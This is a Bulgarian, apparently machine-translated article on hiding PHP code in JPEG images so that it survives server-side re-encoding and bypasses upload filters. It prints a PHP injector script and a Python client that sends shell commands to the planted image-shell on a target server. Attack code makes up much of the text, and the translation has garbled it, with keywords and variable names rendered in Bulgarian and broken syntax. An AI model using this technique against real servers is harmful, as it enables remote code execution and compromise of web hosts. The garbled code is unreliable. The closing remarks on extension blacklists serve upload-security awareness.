ПредишенСледващото

Прикриването на PHP код в снимки

Преди време попаднах на една тема във форума, посветен на изтегляне на файлове с помощта на PHP. В тази тема се обсъждат от хората, които да бъдат предприети, за да се предпази сървъра от злонамерени файлове.

Преди време попаднах на една тема във форума, посветен на изтегляне на файлове с помощта на PHP. В тази тема се обсъждат от хората, които да бъдат предприети, за да се предпази сървъра от злонамерени файлове. По-специално, беше предложено да се позволи зареждане на само определени типове файлове за обработка на вече изтеглени файлове, и така нататък. Г.

По време на обсъждането на следните мерки за сигурност са били предназначени: да се забрани свалянето на файлове, свързани с PHP скриптове, а след това използвайте ImageJpeg (PHP функцията за обработка на изображения) за извършване на проверка на изтеглените изображения. Аз, като разработчик, този пакет от мерки е доста подобно. Ако файлът не съответства на графичен формат, ImageJpeg функцията връща фалшиви, и товарът се отменя. От друга страна, дори и ако един хакер може да се инжектира код в едно изображение, то преди да го запазите на диска и ще бъде обработен и променена функция ImageJpeg.

Използване само на метода на "черни списъци" - не е добра идея, тъй като изпълними файлове могат да имат алтернативен разширение. В горния пример, ако се опитаме да се забрани свалянето на файлове само с PHP разширение, трябва да се отбележи, че на езика PHP в изпълним скрипт може да бъде един от петте следните разширения: php3. php4. php5. phtml и .phps.

След много експерименти успях да се обработваното изображение с работещ код вътре.

Прикриването на PHP код в снимки

В процеса на подобряване на метода на инжектиране на код, като се уверите, че изкривяването на изображението не е много, аз написах скрипт, който автоматично добавя кода в изображението. След като работи на разстояние обработка сценарий и образ, начислена от различни комунални услуги (включително функция ImageJpeg) код остава функционален. Извършва дори преоразмеряване тестването на изображението, както и код е работил и в много случаи (но не винаги).

По-долу показва изображение преди кода на инжектиране продукти:

Прикриването на PHP код в снимки

Следваща снимка (степен на изкривяване зависи от снимките), тъй като инжектира код. Не се притеснявайте, че при сегашното състояние на кода не се изпълнява.

Прикриването на PHP код в снимки

По-долу е скрипт автоматизира процеса на добавяне на кода:

ini_set ( "display_errors", 0);
error_reporting (0);

// файл, който съдържа крайния резултат, за да бъдат качени
$ Result_file = 'pic.jpg.phtml ";

// Оригинална входен файл
$ Ориг = 'test.jpg ";

// Темп име
$ = $ Име ориг. "_mod.jpg";

// код, за да бъдат скрити в данните за изображението
$ Code = '';

ехо "- = Imagejpeg инжектор 1,6 = - \ п";

$ Src = imagecreatefromjpeg ($ Orig);
imagejpeg ($ SRC, $ файла, 100);
$ Данни = file_get_contents ($ име);
$ TmpData = масив ();

ехо "[+] скокове до края байт \ п";
$ Start_byte = findStart ($ данни);

ехо "[+] Търсене валидна точка инжектиране \ п";
за ($ I = strlen ($ данни) -1; $ i> $ start_byte; - $ I)
<
$ = $ TmpData данни;
за ($ п = $ I, $ Z = (strlen ($ код) -1); $ Z> = 0; - $ Z, - $ п)
<
$ TmpData [$ п] = $ код [$ Z];
>

$ Src = imagecreatefromstring ($ tmpData);
imagejpeg ($ SRC, $ result_file, 100);

ако (checkCodeInFile ($ result_file, $ код))
<
прекратяване на връзката ($ име);
прекратяване на връзката ($ result_file);
сън (1);

file_put_contents ($ result_file, $ tmpData);
ехо "Темп решение, ако имаш" възстановяване "грешка тук, това означава, че най-вероятно не е \ н [!]";

сън (1);
$ Src = imagecreatefromjpeg ($ result_file);

ехо "[+] инжектиране приключи успешно \ п";
ехо "[+] Име:". $ Result_file. "\ N";
умрат ();
>
още
<
прекратяване на връзката ($ result_file);
>
>

ехо "[-] Не може да се намери валиден многоточков инжекцион Опитайте с по-кратък команда или друго изображение \ н.";

функция checkCodeInFile ($ файл, $ код)
<
ако (file_exists ($ файл))
<
$ Съдържание = loadFile ($ файл);
>
още
<
$ Съдържание = "0";
>

върнете strstr ($ съдържание, $ код);
>

функция loadFile ($ файл)
<
$ Дръжка = fopen ($ файл, "R");
$ Буфер = fread ($ дръжка, размер на файла ($ файл));
fclose ($ дръжката);

Обобщавайки резултатите. След няколко дни на експериментиране I е в състояние да заобиколят защитата на скрипта и автоматизиране на процеса (етапите на сценария показано по-долу):

[+] Скокове до края байт
[+] Търсене валидна точка инжектиране
[+] Инжектиране приключи успешно
[+] Име: result.phtml

И в крайна сметка аз написах един прост скрипт за изпращане на команди след зареждане на файла на сървъра, анализирането на информацията вътре в изображението и показване на резултатите.

внос urllib.request
внос argparse
внасяме http.client
внос urllib.parse
ре внос

дефиниция основен ():
анализатор = argparse.ArgumentParser ()
parser.add_argument ( "домейн", помощ = "домейн, за да се свърже с")
parser.add_argument ( "пристанище", помощ = "порт за свързване към")
parser.add_argument ( "път", помощ = "пътя до файла jellyshelly")
опцията = parser.parse_args ()
домейн = args.domain
пътека = args.path
порт = args.port

ако (makeTest (домейн, път, порт)):
CMD = ""
печат ( "Тип изход до края на сесията")
докато (CMD = "изход"!):
CMD = вход ( "")

ако (cmd.strip () = ''!):
makeRequest ( "ехо" foiwe303t43jd $ ( "+ Cmd +") foiwe303t43jd "", домейн, порт, път)

дефиниция makeRequest (CMD, домейн, порт, пътека):
линии = cmd.split ( "\ п ')

httpServ = http.client.HTTPConnection (домейн, порт)
httpServ.connect ()

httpServ.request ( "POST", път, Поколения назад, заглавията)
отговор = httpServ.getresponse ()
response_string = response.read (). декодиране ( "UTF-8", "замени")

ако response.status == http.client.OK:
за резултат в re.findall (R '(?<=foiwe303t43jd).*?(?=foiwe303t43jd)', response_string, re.DOTALL):
печат (result.strip ())
httpServ.close ()

дефиниция makeTest (домейн, път, порт):
httpServ = http.client.HTTPConnection (домейн, порт)
httpServ.connect ()
httpServ.request ( "GET", път)
отговор = httpServ.getresponse ()

печат (response.status)
връщане response.status == http.client.OK

ако __name__ == "__main__":
Основната ()

Както можете да видите, файловете на зареждане могат лесно да се превърнат в слабото звено в системата за сигурност. Има много начини да се изтеглят през всички ограничения файл. Особено мотивиран нападател да прекарате много време и често ще се намери начин да се заобиколят механизмите за сигурност. Номерът, както е показано в статията, не е само, приложими за PHP, но също така и в други медии. Разбира се, има няколко добри методи, в зависимост от конкретния проблем, но тези методи не са 100% защита. Освен това, разработчикът в процеса на прилагане на защитни механизми, може да попречи на елементарна грешка (класически случай на: проверка за разширение .jpg преминава файлове file.jpg.php тип).

Всеки, който използва заключване на файлове до черни списъци, трябва да добавите следните разширения. PHP, .phtml, .php4, .php4, .php5. И не забравяйте, че някой ден ще бъде PHP 6.

  • Прикриването на PHP код в снимки
  • Прикриването на PHP код в снимки
  • Прикриването на PHP код в снимки
  • Прикриването на PHP код в снимки

Подкрепете проекта - споделете линка, благодаря!